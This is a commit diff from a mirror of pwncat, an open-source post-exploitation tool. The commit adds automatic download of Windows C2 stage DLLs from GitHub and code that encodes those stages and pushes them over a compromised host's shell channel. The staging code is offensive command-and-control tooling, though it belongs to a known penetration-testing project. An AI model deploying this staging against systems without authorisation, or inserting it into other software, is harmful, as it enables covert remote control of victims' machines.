1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Initial working windows setup

I have opened the Windows C2 repository, and added the ability for
pwncat to automatically download the C2 DLLs. If you don't have internet
or would rather grab them yourself, you can place them in
~/.local/share/pwncat (or point the `windows_c2_dir` config at the
directory where you do place them). If `stageone.dll` and `stagetwo.dll`
exist in that directory, pwncat will not attempt to download them from github.
This commit is contained in:
Caleb Stewart 2021-05-24 00:18:30 -04:00
parent 97c4d256ab
commit 830fe7b211
3 changed files with 87 additions and 17 deletions

View File

@ -88,6 +88,10 @@ class Config:
"cross": {"value": None, "type": str},
"psmodules": {"value": ".", "type": local_dir_type},
"verbose": {"value": False, "type": bool_type},
"windows_c2_dir": {
"value": "~/.local/share/pwncat",
"type": local_dir_type,
},
}
# Locals are set per-used-module

View File

@ -100,7 +100,7 @@ class Module(BaseModule):
with open(output, "w") as filp:
template.stream(context).dump(filp)
else:
markdown = Markdown(template.render(context))
markdown = Markdown(template.render(context), hyperlinks=False)
console.print(markdown)
except jinja2.TemplateError as exc:
raise ModuleFailed(str(exc)) from exc

View File

@ -8,30 +8,26 @@ import time
import base64
import shutil
import pathlib
import tarfile
import termios
import readline
import textwrap
import subprocess
from io import (
BytesIO,
StringIO,
RawIOBase,
TextIOWrapper,
BufferedIOBase,
UnsupportedOperation,
)
from io import (BytesIO, StringIO, RawIOBase, TextIOWrapper, BufferedIOBase,
UnsupportedOperation)
from typing import List, Union, BinaryIO
from subprocess import TimeoutExpired, CalledProcessError
from dataclasses import dataclass
import pkg_resources
import pwncat
import requests
import pwncat.util
import pkg_resources
import pwncat.subprocess
from pwncat.platform import Path, Platform, PlatformError
INTERACTIVE_END_MARKER = b"\nINTERACTIVE_COMPLETE\r\n"
PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/v0.0.1/pwncat-windows-v0.0.1.tar.gz"
class PowershellError(Exception):
@ -122,6 +118,7 @@ class WindowsFile(RawIOBase):
return 0
self.platform.run_method("File", "read")
self.platform.channel.sendline(str(self.handle).encode("utf-8"))
self.platform.channel.sendline(str(len(b)).encode("utf-8"))
count = int(self.platform.channel.recvuntil(b"\n").strip())
@ -390,8 +387,24 @@ class Windows(Platform):
# Tracks paths to modules which have been sideloaded into powershell
self.psmodules = []
# Ensure we have the C2 libraries downloaded
self._ensure_libs()
self._bootstrap_stage_two()
# This is a dirty hack
old_close = self.channel.close
def new_close():
self.run_method("StageTwo", "exit")
old_close()
self.channel.close = new_close
self.refresh_uid()
self.setup_prompt()
# Load requested libraries
# for library, methods in self.LIBRARY_IMPORTS.items():
# self._load_library(library, methods)
@ -401,6 +414,41 @@ class Windows(Platform):
self.channel.send(f"{typ}\n{method}\n".encode("utf-8"))
def setup_prompt(self):
""" Set a prompt method for powershell to ensure our prompt looks pretty :) """
self.powershell(
"""
function prompt {
$ESC = [char]27
Write-Host "$ESC[31m(remote)$ESC[33m $env:UserName@$env:ComputerName$ESC[0m:$ESC[36m$($executionContext.SessionState.Path.CurrentLocation)$ESC[0m$" -NoNewLine
return " "
}"""
)
def _ensure_libs(self):
"""This method checks that stageone.dll and stagetwo.dll exist within
the directory specified by the windows_c2_dir configuration. If they do
not, a release copy is downloaded from GitHub."""
location = pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
location.mkdir(parents=True, exist_ok=True)
if (
not (location / "stageone.dll").exists()
or not (location / "stagetwo.dll").exists()
):
self.session.manager.log("Downloading Windows C2 binaries from GitHub...")
with requests.get(PWNCAT_WINDOWS_C2_RELEASE_URL, stream=True) as request:
data = request.raw.read()
with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar:
with tar.extractfile("stageone.dll") as stageone:
with (location / "stageone.dll").open("wb") as output:
shutil.copyfileobj(stageone, output)
with tar.extractfile("stagetwo.dll") as stagetwo:
with (location / "stagetwo.dll").open("wb") as output:
shutil.copyfileobj(stagetwo, output)
def _bootstrap_stage_two(self):
"""This takes the stage one C2 (powershell) and boostraps it for stage
two. Stage two is C# code dynamically compiled and executed. We first
@ -432,11 +480,17 @@ class Windows(Platform):
chunk_sz = 1900
loader_encoded_name = pwncat.util.random_string()
stageone = (
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
/ "stageone.dll"
)
stagetwo = (
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
/ "stagetwo.dll"
)
# Read the loader
with open(
pkg_resources.resource_filename("pwncat", "data/loader.dll"), "rb"
) as filp:
with stageone.open("rb") as filp:
loader_dll = base64.b64encode(filp.read())
# Extract first chunk
@ -519,9 +573,7 @@ class Windows(Platform):
self.channel.recvuntil(b"\n")
# Load, Compress and Encode stage two
with open(
pkg_resources.resource_filename("pwncat", "data/stagetwo.dll"), "rb"
) as filp:
with stagetwo.open("rb") as filp:
stagetwo_dll = filp.read()
compressed = BytesIO()
with gzip.GzipFile(fileobj=compressed, mode="wb") as gz:
@ -774,6 +826,20 @@ class Windows(Platform):
except CalledProcessError:
return None
def refresh_uid(self):
""" Retrieve the current user ID """
self.powershell(
"Add-Type -AssemblyName System.DirectoryServices.AccountManagement"
)
self.user_info = self.powershell(
"([System.DirectoryServices.AccountManagement.UserPrincipal]::Current).SID.Value"
)
def getuid(self):
return self.user_info
def new_item(self, **kwargs):
"""Run the `New-Item` commandlet with specified arguments and
raise the appropriate local exception if requried."""